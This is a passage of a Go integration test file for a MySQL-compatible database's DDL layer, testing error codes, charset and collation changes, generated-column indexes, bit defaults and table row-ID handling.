tk.MustGetErrCode(sql, tmysql.ErrKeyColumnDoesNotExits) tk.MustExec(""alter table test_error_code_succ add index idx (c1)"") sql = ""alter table test_error_code_succ add index idx (c1)"" tk.MustGetErrCode(sql, tmysql.ErrDupKeyName) // drop index sql = ""alter table test_error_code_succ drop index idx_not_exist"" tk.MustGetErrCode(sql, tmysql.ErrCantDropFieldOrKey) sql = ""alter table test_error_code_succ drop column c3"" tk.MustGetErrCode(sql, int(tmysql.ErrUnknown)) // modify column sql = ""alter table test_error_code_succ modify testx.test_error_code_succ.c1 bigint"" tk.MustGetErrCode(sql, tmysql.ErrWrongDBName) sql = ""alter table test_error_code_succ modify t.c1 bigint"" tk.MustGetErrCode(sql, tmysql.ErrWrongTableName) // insert value tk.MustExec(""create table test_error_code_null(c1 char(100) not null);"") sql = ""insert into test_error_code_null (c1) values(null);"" tk.MustGetErrCode(sql, tmysql.ErrBadNull) } func (s *testIntegrationSuite9) TestTableDDLWithFloatType(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t"") s.tk.MustGetErrCode(""create table t (a decimal(1, 2))"", tmysql.ErrMBiggerThanD) s.tk.MustGetErrCode(""create table t (a float(1, 2))"", tmysql.ErrMBiggerThanD) s.tk.MustGetErrCode(""create table t (a double(1, 2))"", tmysql.ErrMBiggerThanD) s.tk.MustExec(""create table t (a double(1, 1))"") s.tk.MustGetErrCode(""alter table t add column b decimal(1, 2)"", tmysql.ErrMBiggerThanD) // add multi columns now not support, so no case. s.tk.MustGetErrCode(""alter table t modify column a float(1, 4)"", tmysql.ErrMBiggerThanD) s.tk.MustGetErrCode(""alter table t change column a aa float(1, 4)"", tmysql.ErrMBiggerThanD) s.tk.MustExec(""drop table t"") } func (s *testIntegrationSuite10) TestTableDDLWithTimeType(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t"") s.tk.MustGetErrCode(""create table t (a time(7))"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""create table t (a datetime(7))"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""create table t (a timestamp(7))"", tmysql.ErrTooBigPrecision) _, err := s.tk.Exec(""create table t (a time(-1))"") c.Assert(err, NotNil) s.tk.MustExec(""create table t (a datetime)"") s.tk.MustGetErrCode(""alter table t add column b time(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t add column b datetime(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t add column b timestamp(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t modify column a time(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t modify column a datetime(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t modify column a timestamp(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t change column a aa time(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t change column a aa datetime(7)"", tmysql.ErrTooBigPrecision) s.tk.MustGetErrCode(""alter table t change column a aa timestamp(7)"", tmysql.ErrTooBigPrecision) s.tk.MustExec(""alter table t change column a aa datetime(0)"") s.tk.MustExec(""drop table t"") } func (s *testIntegrationSuite2) TestUpdateMultipleTable(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database umt_db"") tk.MustExec(""use umt_db"") tk.MustExec(""create table t1 (c1 int, c2 int)"") tk.MustExec(""insert t1 values (1, 1), (2, 2)"") tk.MustExec(""create table t2 (c1 int, c2 int)"") tk.MustExec(""insert t2 values (1, 3), (2, 5)"") ctx := tk.Se.(sessionctx.Context) dom := domain.GetDomain(ctx) is := dom.InfoSchema() db, ok := is.SchemaByName(model.NewCIStr(""umt_db"")) c.Assert(ok, IsTrue) t1Tbl, err := is.TableByName(model.NewCIStr(""umt_db""), model.NewCIStr(""t1"")) c.Assert(err, IsNil) t1Info := t1Tbl.Meta() // Add a new column in write only state. newColumn := &model.ColumnInfo{ ID: 100, Name: model.NewCIStr(""c3""), Offset: 2, DefaultValue: 9, OriginDefaultValue: 9, FieldType: *types.NewFieldType(tmysql.TypeLonglong), State: model.StateWriteOnly, } t1Info.Columns = append(t1Info.Columns, newColumn) kv.RunInNewTxn(s.store, false, func(txn kv.Transaction) error { m := meta.NewMeta(txn) _, err = m.GenSchemaVersion() c.Assert(err, IsNil) c.Assert(m.UpdateTable(db.ID, t1Info), IsNil) return nil }) err = dom.Reload() c.Assert(err, IsNil) tk.MustExec(""update t1, t2 set t1.c1 = 8, t2.c2 = 10 where t1.c2 = t2.c1"") tk.MustQuery(""select * from t1"").Check(testkit.Rows(""8 1"", ""8 2"")) tk.MustQuery(""select * from t2"").Check(testkit.Rows(""1 10"", ""2 10"")) newColumn.State = model.StatePublic kv.RunInNewTxn(s.store, false, func(txn kv.Transaction) error { m := meta.NewMeta(txn) _, err = m.GenSchemaVersion() c.Assert(err, IsNil) c.Assert(m.UpdateTable(db.ID, t1Info), IsNil) return nil }) err = dom.Reload() c.Assert(err, IsNil) tk.MustQuery(""select * from t1"").Check(testkit.Rows(""8 1 9"", ""8 2 9"")) tk.MustExec(""drop database umt_db"") } func (s *testIntegrationSuite7) TestNullGeneratedColumn(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""drop table if exists t"") tk.MustExec(""CREATE TABLE `t` ("" + ""`a` int(11) DEFAULT NULL,"" + ""`b` int(11) DEFAULT NULL,"" + ""`c` int(11) GENERATED ALWAYS AS (`a` + `b`) VIRTUAL,"" + ""`h` varchar(10) DEFAULT NULL,"" + ""`m` int(11) DEFAULT NULL"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"") tk.MustExec(""insert into t values()"") tk.MustExec(""alter table t add index idx_c(c)"") tk.MustExec(""drop table t"") } func (s *testIntegrationSuite7) TestDependedGeneratedColumnPrior2GeneratedColumn(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""drop table if exists t"") tk.MustExec(""CREATE TABLE `t` ("" + ""`a` int(11) DEFAULT NULL,"" + ""`b` int(11) GENERATED ALWAYS AS (`a` + 1) VIRTUAL,"" + ""`c` int(11) GENERATED ALWAYS AS (`b` + 1) VIRTUAL"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"") // should check unknown column first, then the prior ones. sql := ""alter table t add column d int as (c + f + 1) first"" tk.MustGetErrCode(sql, mysql.ErrBadField) // depended generated column should be prior to generated column self sql = ""alter table t add column d int as (c+1) first"" tk.MustGetErrCode(sql, mysql.ErrGeneratedColumnNonPrior) // correct case tk.MustExec(""alter table t add column d int as (c+1) after c"") // check position nil case tk.MustExec(""alter table t add column(e int as (c+1))"") tk.MustExec(""drop table if exists t"") } func (s *testIntegrationSuite9) TestChangingCharsetToUtf8(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table t1(a varchar(20) charset utf8)"") tk.MustExec(""insert into t1 values (?)"", ""t1_value"") tk.MustExec(""alter table t1 collate uTf8mB4_uNiCoDe_Ci charset Utf8mB4 charset uTF8Mb4 collate UTF8MB4_BiN"") tk.MustExec(""alter table t1 modify column a varchar(20) charset utf8mb4"") tk.MustQuery(""select * from t1;"").Check(testkit.Rows(""t1_value"")) tk.MustExec(""create table t(a varchar(20) charset latin1)"") tk.MustExec(""insert into t values (?)"", ""t_value"") tk.MustExec(""alter table t modify column a varchar(20) charset latin1"") tk.MustQuery(""select * from t;"").Check(testkit.Rows(""t_value"")) tk.MustGetErrCode(""alter table t modify column a varchar(20) charset utf8"", mysql.ErrUnknown) tk.MustGetErrCode(""alter table t modify column a varchar(20) charset utf8mb4"", mysql.ErrUnknown) tk.MustGetErrCode(""alter table t modify column a varchar(20) charset utf8 collate utf8_bin"", mysql.ErrUnknown) tk.MustGetErrCode(""alter table t modify column a varchar(20) charset utf8mb4 collate utf8mb4_general_ci"", mysql.ErrUnknown) tk.MustGetErrCode(""alter table t modify column a varchar(20) charset utf8mb4 collate utf8bin"", mysql.ErrUnknownCollation) tk.MustGetErrCode(""alter table t collate LATIN1_GENERAL_CI charset utf8 collate utf8_bin"", mysql.ErrConflictingDeclarations) tk.MustGetErrCode(""alter table t collate LATIN1_GENERAL_CI collate UTF8MB4_UNICODE_ci collate utf8_bin"", mysql.ErrCollationCharsetMismatch) } func (s *testIntegrationSuite10) TestChangingTableCharset(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""USE test"") tk.MustExec(""create table t(a char(10)) charset latin1 collate latin1_bin"") rs, err := tk.Exec(""alter table t charset gbk"") if rs != nil { rs.Close() } c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[parser:1115]Unknown character set: 'gbk'"") rs, err = tk.Exec(""alter table t charset utf8"") if rs != nil { rs.Close() } c.Assert(err.Error(), Equals, ""[ddl:210]unsupported modify charset from latin1 to utf8"") rs, err = tk.Exec(""alter table t charset utf8 collate latin1_bin"") if rs != nil { rs.Close() } c.Assert(err, NotNil) rs, err = tk.Exec(""alter table t charset utf8mb4"") if rs != nil { rs.Close() } c.Assert(err.Error(), Equals, ""[ddl:210]unsupported modify charset from latin1 to utf8mb4"") rs, err = tk.Exec(""alter table t charset utf8mb4 collate utf8mb4_bin"") c.Assert(err, NotNil) rs, err = tk.Exec(""alter table t charset ''"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[parser:1115]Unknown character set: ''"") rs, err = tk.Exec(""alter table t collate ''"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:1273]Unknown collation: ''"") rs, err = tk.Exec(""alter table t charset utf8mb4 collate '' collate utf8mb4_bin;"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:1273]Unknown collation: ''"") rs, err = tk.Exec(""alter table t charset latin1 charset utf8 charset utf8mb4 collate utf8_bin;"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:1302]Conflicting declarations: 'CHARACTER SET latin1' and 'CHARACTER SET utf8'"") rs, err = tk.Exec(""alter table t charset utf8 collate utf8mb4_bin;"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:1253]COLLATION 'utf8mb4_bin' is not valid for CHARACTER SET 'utf8'"") rs, err = tk.Exec(""alter table t charset utf8 collate utf8_bin collate utf8mb4_bin collate utf8_bin;"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:1253]COLLATION 'utf8mb4_bin' is not valid for CHARACTER SET 'utf8'"") // Test change column charset when changing table charset. tk.MustExec(""drop table t;"") tk.MustExec(""create table t(a varchar(10)) charset utf8"") tk.MustExec(""alter table t convert to charset utf8mb4;"") checkCharset := func(chs, coll string) { tbl := testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl, NotNil) c.Assert(tbl.Meta().Charset, Equals, chs) c.Assert(tbl.Meta().Collate, Equals, coll) for _, col := range tbl.Meta().Columns { c.Assert(col.Charset, Equals, chs) c.Assert(col.Collate, Equals, coll) } } checkCharset(charset.CharsetUTF8MB4, charset.CollationUTF8MB4) // Test when column charset can not convert to the target charset. tk.MustExec(""drop table t;"") tk.MustExec(""create table t(a varchar(10) character set ascii) charset utf8mb4"") _, err = tk.Exec(""alter table t convert to charset utf8mb4;"") c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:210]unsupported modify charset from ascii to utf8mb4"") tk.MustExec(""drop table t;"") tk.MustExec(""create table t(a varchar(10) character set utf8) charset utf8"") tk.MustExec(""alter table t convert to charset utf8 collate utf8_general_ci;"") checkCharset(charset.CharsetUTF8, ""utf8_general_ci"") // Test when table charset is equal to target charset but column charset is not equal. tk.MustExec(""drop table t;"") tk.MustExec(""create table t(a varchar(10) character set utf8) charset utf8mb4"") tk.MustExec(""alter table t convert to charset utf8mb4 collate utf8mb4_general_ci;"") checkCharset(charset.CharsetUTF8MB4, ""utf8mb4_general_ci"") // Mock table info with charset is """". Old TiDB maybe create table with charset is """". db, ok := domain.GetDomain(s.ctx).InfoSchema().SchemaByName(model.NewCIStr(""test"")) c.Assert(ok, IsTrue) tbl := testGetTableByName(c, s.ctx, ""test"", ""t"") tblInfo := tbl.Meta().Clone() tblInfo.Charset = """" tblInfo.Collate = """" updateTableInfo := func(tblInfo *model.TableInfo) { mockCtx := mock.NewContext() mockCtx.Store = s.store err = mockCtx.NewTxn(context.Background()) c.Assert(err, IsNil) txn, err := mockCtx.Txn(true) c.Assert(err, IsNil) mt := meta.NewMeta(txn) err = mt.UpdateTable(db.ID, tblInfo) c.Assert(err, IsNil) err = txn.Commit(context.Background()) c.Assert(err, IsNil) } updateTableInfo(tblInfo) // check table charset is """" tk.MustExec(""alter table t add column b varchar(10);"") // load latest schema. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl, NotNil) c.Assert(tbl.Meta().Charset, Equals, """") c.Assert(tbl.Meta().Collate, Equals, """") // Test when table charset is """", this for compatibility. tk.MustExec(""alter table t convert to charset utf8mb4;"") checkCharset(charset.CharsetUTF8MB4, charset.CollationUTF8MB4) // Test when column charset is """". tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") tblInfo = tbl.Meta().Clone() tblInfo.Columns[0].Charset = """" tblInfo.Columns[0].Collate = """" updateTableInfo(tblInfo) // check table charset is """" tk.MustExec(""alter table t drop column b;"") // load latest schema. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl, NotNil) c.Assert(tbl.Meta().Columns[0].Charset, Equals, """") c.Assert(tbl.Meta().Columns[0].Collate, Equals, """") tk.MustExec(""alter table t convert to charset utf8mb4;"") checkCharset(charset.CharsetUTF8MB4, charset.CollationUTF8MB4) tk.MustExec(""drop table t"") tk.MustExec(""create table t (a blob) character set utf8;"") tk.MustExec(""alter table t charset=utf8mb4 collate=utf8mb4_bin;"") tk.MustQuery(""show create table t"").Check(testutil.RowsWithSep(""|"", ""t CREATE TABLE `t` (\n""+ "" `a` blob DEFAULT NULL\n""+ "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", )) } func (s *testIntegrationSuite5) TestModifyingColumnOption(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test"") tk.MustExec(""use test"") errMsg := ""[ddl:203]"" // unsupported modify column with references assertErrCode := func(sql string, errCodeStr string) { _, err := tk.Exec(sql) c.Assert(err, NotNil) c.Assert(err.Error()[:len(errCodeStr)], Equals, errCodeStr) } tk.MustExec(""drop table if exists t1"") tk.MustExec(""create table t1 (b char(1) default null) engine=InnoDB default charset=utf8mb4 collate=utf8mb4_general_ci"") tk.MustExec(""alter table t1 modify column b char(1) character set utf8mb4 collate utf8mb4_general_ci"") tk.MustExec(""drop table t1"") tk.MustExec(""create table t1 (b char(1) collate utf8mb4_general_ci)"") tk.MustExec(""alter table t1 modify b char(1) character set utf8mb4 collate utf8mb4_general_ci"") tk.MustExec(""drop table t1"") tk.MustExec(""drop table if exists t2"") tk.MustExec(""create table t1 (a int(11) default null)"") tk.MustExec(""create table t2 (b char, c int)"") assertErrCode(""alter table t2 modify column c int references t1(a)"", errMsg) _, err := tk.Exec(""alter table t1 change a a varchar(16)"") c.Assert(err.Error(), Equals, ""[ddl:203]unsupported modify column type varchar(16) not match origin int(11)"") _, err = tk.Exec(""alter table t1 change a a varchar(10)"") c.Assert(err.Error(), Equals, ""[ddl:203]unsupported modify column type varchar(10) not match origin int(11)"") _, err = tk.Exec(""alter table t1 change a a datetime"") c.Assert(err.Error(), Equals, ""[ddl:203]unsupported modify column type datetime not match origin int(11)"") _, err = tk.Exec(""alter table t1 change a a int(11) unsigned"") c.Assert(err.Error(), Equals, ""[ddl:203]unsupported modify column can't change unsigned integer to signed or vice versa"") _, err = tk.Exec(""alter table t2 change b b int(11) unsigned"") c.Assert(err.Error(), Equals, ""[ddl:203]unsupported modify column type int(11) not match origin char(1)"") } func (s *testIntegrationSuite1) TestIndexOnMultipleGeneratedColumn(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test_mul_gen_col"") tk.MustExec(""use test_mul_gen_col"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t (a int, b int as (a + 1), c int as (b + 1))"") tk.MustExec(""insert into t (a) values (1)"") tk.MustExec(""create index idx on t (c)"") tk.MustQuery(""select * from t where c > 1"").Check(testkit.Rows(""1 2 3"")) res := tk.MustQuery(""select * from t use index(idx) where c > 1"") tk.MustQuery(""select * from t ignore index(idx) where c > 1"").Check(res.Rows()) tk.MustExec(""admin check table t"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t (a int, b int as (a + 1), c int as (b + 1), d int as (c + 1))"") tk.MustExec(""insert into t (a) values (1)"") tk.MustExec(""create index idx on t (d)"") tk.MustQuery(""select * from t where d > 2"").Check(testkit.Rows(""1 2 3 4"")) res = tk.MustQuery(""select * from t use index(idx) where d > 2"") tk.MustQuery(""select * from t ignore index(idx) where d > 2"").Check(res.Rows()) tk.MustExec(""admin check table t"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t (a bigint, b decimal as (a+1), c varchar(20) as (b*2), d float as (a*23+b-1+length(c)))"") tk.MustExec(""insert into t (a) values (1)"") tk.MustExec(""create index idx on t (d)"") tk.MustQuery(""select * from t where d > 2"").Check(testkit.Rows(""1 2 4 25"")) res = tk.MustQuery(""select * from t use index(idx) where d > 2"") tk.MustQuery(""select * from t ignore index(idx) where d > 2"").Check(res.Rows()) tk.MustExec(""admin check table t"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t (a varchar(10), b float as (length(a)+123), c varchar(20) as (right(a, 2)), d float as (b+b-7+1-3+3*ASCII(c)))"") tk.MustExec(""insert into t (a) values ('adorable')"") tk.MustExec(""create index idx on t (d)"") tk.MustQuery(""select * from t where d > 2"").Check(testkit.Rows(""adorable 131 le 577"")) // 131+131-7+1-3+3*108 res = tk.MustQuery(""select * from t use index(idx) where d > 2"") tk.MustQuery(""select * from t ignore index(idx) where d > 2"").Check(res.Rows()) tk.MustExec(""admin check table t"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t (a bigint, b decimal as (a), c int(10) as (a+b), d float as (a+b+c), e decimal as (a+b+c+d))"") tk.MustExec(""insert into t (a) values (1)"") tk.MustExec(""create index idx on t (d)"") tk.MustQuery(""select * from t where d > 2"").Check(testkit.Rows(""1 1 2 4 8"")) res = tk.MustQuery(""select * from t use index(idx) where d > 2"") tk.MustQuery(""select * from t ignore index(idx) where d > 2"").Check(res.Rows()) tk.MustExec(""admin check table t"") tk.MustExec(""drop table if exists t"") tk.MustExec(""create table t(a bigint, b bigint as (a+1) virtual, c bigint as (b+1) virtual)"") tk.MustExec(""alter table t add index idx_b(b)"") tk.MustExec(""alter table t add index idx_c(c)"") tk.MustExec(""insert into t(a) values(1)"") tk.MustExec(""alter table t add column(d bigint as (c+1) virtual)"") tk.MustExec(""alter table t add index idx_d(d)"") tk.MustQuery(""select * from t where d > 2"").Check(testkit.Rows(""1 2 3 4"")) res = tk.MustQuery(""select * from t use index(idx_d) where d > 2"") tk.MustQuery(""select * from t ignore index(idx_d) where d > 2"").Check(res.Rows()) tk.MustExec(""admin check table t"") } func (s *testIntegrationSuite2) TestCaseInsensitiveCharsetAndCollate(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test_charset_collate"") defer tk.MustExec(""drop database test_charset_collate"") tk.MustExec(""use test_charset_collate"") tk.MustExec(""create table t(id int) ENGINE=InnoDB DEFAULT CHARSET=UTF8 COLLATE=UTF8_BIN;"") tk.MustExec(""create table t1(id int) ENGINE=InnoDB DEFAULT CHARSET=UTF8 COLLATE=uTF8_BIN;"") tk.MustExec(""create table t2(id int) ENGINE=InnoDB DEFAULT CHARSET=Utf8 COLLATE=utf8_BIN;"") tk.MustExec(""create table t3(id int) ENGINE=InnoDB DEFAULT CHARSET=Utf8mb4 COLLATE=utf8MB4_BIN;"") tk.MustExec(""create table t4(id int) ENGINE=InnoDB DEFAULT CHARSET=Utf8mb4 COLLATE=utf8MB4_general_ci;"") tk.MustExec(""create table t5(a varchar(20)) ENGINE=InnoDB DEFAULT CHARSET=UTF8MB4 COLLATE=UTF8MB4_GENERAL_CI;"") tk.MustExec(""insert into t5 values ('特克斯和凯科斯群岛')"") db, ok := domain.GetDomain(s.ctx).InfoSchema().SchemaByName(model.NewCIStr(""test_charset_collate"")) c.Assert(ok, IsTrue) tbl := testGetTableByName(c, s.ctx, ""test_charset_collate"", ""t5"") tblInfo := tbl.Meta().Clone() c.Assert(tblInfo.Charset, Equals, ""utf8mb4"") c.Assert(tblInfo.Columns[0].Charset, Equals, ""utf8mb4"") tblInfo.Version = model.TableInfoVersion2 tblInfo.Charset = ""UTF8MB4"" updateTableInfo := func(tblInfo *model.TableInfo) { mockCtx := mock.NewContext() mockCtx.Store = s.store err := mockCtx.NewTxn(context.Background()) c.Assert(err, IsNil) txn, err := mockCtx.Txn(true) c.Assert(err, IsNil) mt := meta.NewMeta(txn) c.Assert(ok, IsTrue) err = mt.UpdateTable(db.ID, tblInfo) c.Assert(err, IsNil) err = txn.Commit(context.Background()) c.Assert(err, IsNil) } updateTableInfo(tblInfo) tk.MustExec(""alter table t5 add column b varchar(10);"") // load latest schema. tblInfo = testGetTableByName(c, s.ctx, ""test_charset_collate"", ""t5"").Meta() c.Assert(tblInfo.Charset, Equals, ""utf8mb4"") c.Assert(tblInfo.Columns[0].Charset, Equals, ""utf8mb4"") // For model.TableInfoVersion3, it is believed that all charsets / collations are lower-cased, do not do case-convert tblInfo = tblInfo.Clone() tblInfo.Version = model.TableInfoVersion3 tblInfo.Charset = ""UTF8MB4"" updateTableInfo(tblInfo) tk.MustExec(""alter table t5 add column c varchar(10);"") // load latest schema. tblInfo = testGetTableByName(c, s.ctx, ""test_charset_collate"", ""t5"").Meta() c.Assert(tblInfo.Charset, Equals, ""UTF8MB4"") c.Assert(tblInfo.Columns[0].Charset, Equals, ""utf8mb4"") } func (s *testIntegrationSuite3) TestZeroFillCreateTable(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists abc;"") s.tk.MustExec(""create table abc(y year, z tinyint(10) zerofill, primary key(y));"") is := s.dom.InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""abc"")) c.Assert(err, IsNil) var yearCol, zCol *model.ColumnInfo for _, col := range tbl.Meta().Columns { if col.Name.String() == ""y"" { yearCol = col } if col.Name.String() == ""z"" { zCol = col } } c.Assert(yearCol, NotNil) c.Assert(yearCol.Tp, Equals, mysql.TypeYear) c.Assert(mysql.HasUnsignedFlag(yearCol.Flag), IsTrue) c.Assert(zCol, NotNil) c.Assert(mysql.HasUnsignedFlag(zCol.Flag), IsTrue) } func (s *testIntegrationSuite6) TestBitDefaultValue(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table t_bit (c1 bit(10) default 250, c2 int);"") tk.MustExec(""insert into t_bit set c2=1;"") tk.MustQuery(""select bin(c1),c2 from t_bit"").Check(testkit.Rows(""11111010 1"")) tk.MustExec(""drop table t_bit"") tk.MustExec(""create table t_bit (a int)"") tk.MustExec(""insert into t_bit value (1)"") tk.MustExec(""alter table t_bit add column c bit(16) null default b'1100110111001'"") tk.MustQuery(""select c from t_bit"").Check(testkit.Rows(""\x19\xb9"")) tk.MustExec(""update t_bit set c = b'11100000000111'"") tk.MustQuery(""select c from t_bit"").Check(testkit.Rows(""\x38\x07"")) tk.MustExec(`create table testalltypes1 ( field_1 bit default 1, field_2 tinyint null default null );`) tk.MustExec(`create table testalltypes2 ( field_1 bit null default null, field_2 tinyint null default null, field_3 tinyint unsigned null default null, field_4 bigint null default null, field_5 bigint unsigned null default null, field_6 mediumblob null default null, field_7 longblob null default null, field_8 blob null default null, field_9 tinyblob null default null, field_10 varbinary(255) null default null, field_11 binary(255) null default null, field_12 mediumtext null default null, field_13 longtext null default null, field_14 text null default null, field_15 tinytext null default null, field_16 char(255) null default null, field_17 numeric null default null, field_18 decimal null default null, field_19 integer null default null, field_20 integer unsigned null default null, field_21 int null default null, field_22 int unsigned null default null, field_23 mediumint null default null, field_24 mediumint unsigned null default null, field_25 smallint null default null, field_26 smallint unsigned null default null, field_27 float null default null, field_28 double null default null, field_29 double precision null default null, field_30 real null default null, field_31 varchar(255) null default null, field_32 date null default null, field_33 time null default null, field_34 datetime null default null, field_35 timestamp null default null );`) } func (s *testIntegrationSuite5) TestBackwardCompatibility(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""create database if not exists test_backward_compatibility"") defer tk.MustExec(""drop database test_backward_compatibility"") tk.MustExec(""use test_backward_compatibility"") tk.MustExec(""create table t(a int primary key, b int)"") for i := 0; i < 200; i++ { tk.MustExec(fmt.Sprintf(""insert into t values(%v, %v)"", i, i)) } // alter table t add index idx_b(b); is := s.dom.InfoSchema() schemaName := model.NewCIStr(""test_backward_compatibility"") tableName := model.NewCIStr(""t"") schema, ok := is.SchemaByName(schemaName) c.Assert(ok, IsTrue) tbl, err := is.TableByName(schemaName, tableName) c.Assert(err, IsNil) // Split the table. s.cluster.SplitTable(s.mvccStore, tbl.Meta().ID, 100) unique := false indexName := model.NewCIStr(""idx_b"") idxColName := &ast.IndexColName{ Column: &ast.ColumnName{ Schema: schemaName, Table: tableName, Name: model.NewCIStr(""b""), }, Length: types.UnspecifiedLength, } idxColNames := []*ast.IndexColName{idxColName} var indexOption *ast.IndexOption job := &model.Job{ SchemaID: schema.ID, TableID: tbl.Meta().ID, Type: model.ActionAddIndex, BinlogInfo: &model.HistoryInfo{}, Args: []interface{}{unique, indexName, idxColNames, indexOption}, } txn, err := s.store.Begin() c.Assert(err, IsNil) t := meta.NewMeta(txn) job.ID, err = t.GenGlobalID() c.Assert(err, IsNil) job.Version = 1 job.StartTS = txn.StartTS() // Simulate old TiDB init the add index job, old TiDB will not init the model.Job.ReorgMeta field, // if we set job.SnapshotVer here, can simulate the behavior. job.SnapshotVer = txn.StartTS() err = t.EnQueueDDLJob(job) c.Assert(err, IsNil) err = txn.Commit(context.Background()) c.Assert(err, IsNil) ticker := time.NewTicker(s.lease) for range ticker.C { historyJob, err := s.getHistoryDDLJob(job.ID) c.Assert(err, IsNil) if historyJob == nil { continue } c.Assert(historyJob.Error, IsNil) if historyJob.IsSynced() { break } } // finished add index tk.MustExec(""admin check index t idx_b"") } func (s *testIntegrationSuite4) TestMultiRegionGetTableEndHandle(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""drop database if exists test_get_endhandle"") tk.MustExec(""create database test_get_endhandle"") tk.MustExec(""use test_get_endhandle"") tk.MustExec(""create table t(a bigint PRIMARY KEY, b int)"") for i := 0; i < 1000; i++ { tk.MustExec(fmt.Sprintf(""insert into t values(%v, %v)"", i, i)) } // Get table ID for split. dom := domain.GetDomain(tk.Se) is := dom.InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test_get_endhandle""), model.NewCIStr(""t"")) c.Assert(err, IsNil) tblID := tbl.Meta().ID d := s.dom.DDL() testCtx := newTestMaxTableRowIDContext(c, d, tbl) // Split the table. s.cluster.SplitTable(s.mvccStore, tblID, 100) maxID, emptyTable := getMaxTableRowID(testCtx, s.store) c.Assert(emptyTable, IsFalse) c.Assert(maxID, Equals, int64(1000)) tk.MustExec(""insert into t values(10000, 1000)"") maxID, emptyTable = getMaxTableRowID(testCtx, s.store) c.Assert(emptyTable, IsFalse) c.Assert(maxID, Equals, int64(1001)) } type testMaxTableRowIDContext struct { c *C d ddl.DDL tbl table.Table } func newTestMaxTableRowIDContext(c *C, d ddl.DDL, tbl table.Table) *testMaxTableRowIDContext { return &testMaxTableRowIDContext{ c: c, d: d, tbl: tbl, } } func getMaxTableRowID(ctx *testMaxTableRowIDContext, store kv.Storage) (int64, bool) { c := ctx.c d := ctx.d tbl := ctx.tbl curVer, err := store.CurrentVersion() c.Assert(err, IsNil) maxID, emptyTable, err := d.GetTableMaxRowID(curVer.Ver, tbl.(table.PhysicalTable)) c.Assert(err, IsNil) return maxID, emptyTable } func checkGetMaxTableRowID(ctx *testMaxTableRowIDContext, store kv.Storage, expectEmpty bool, expectMaxID int64) { c := ctx.c maxID, emptyTable := getMaxTableRowID(ctx, store) c.Assert(emptyTable, Equals, expectEmpty) c.Assert(maxID, Equals, expectMaxID) } func (s *testIntegrationSuite) getHistoryDDLJob(id int64) (*model.Job, error) { var job *model.Job err := kv.RunInNewTxn(s.store, false, func(txn kv.Transaction) error { t := meta.NewMeta(txn) var err1 error job, err1 = t.GetHistoryDDLJob(id) return errors.Trace(err1) }) return job, errors.Trace(err) } func (s *testIntegrationSuite1) TestCreateTableTooLarge(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") sql := ""create table t_too_large ("" cnt := 3000 for i := 1; i <= cnt; i++ { sql += fmt.Sprintf(""a%d double, b%d double, c%d double, d%d double"", i, i, i, i) if i != cnt { sql += "","" } } sql += "");"" s.tk.MustGetErrCode(sql, tmysql.ErrTooManyFields) originLimit := atomic.LoadUint32(&ddl.TableColumnCountLimit) atomic.StoreUint32(&ddl.TableColumnCountLimit, uint32(cnt*4)) _, err := s.tk.Exec(sql) c.Assert(kv.ErrEntryTooLarge.Equal(err), IsTrue, Commentf(""err:%v"", err)) atomic.StoreUint32(&ddl.TableColumnCountLimit, originLimit) } func (s *testIntegrationSuite8) TestChangeColumnPosition(c *C) { s.tk = 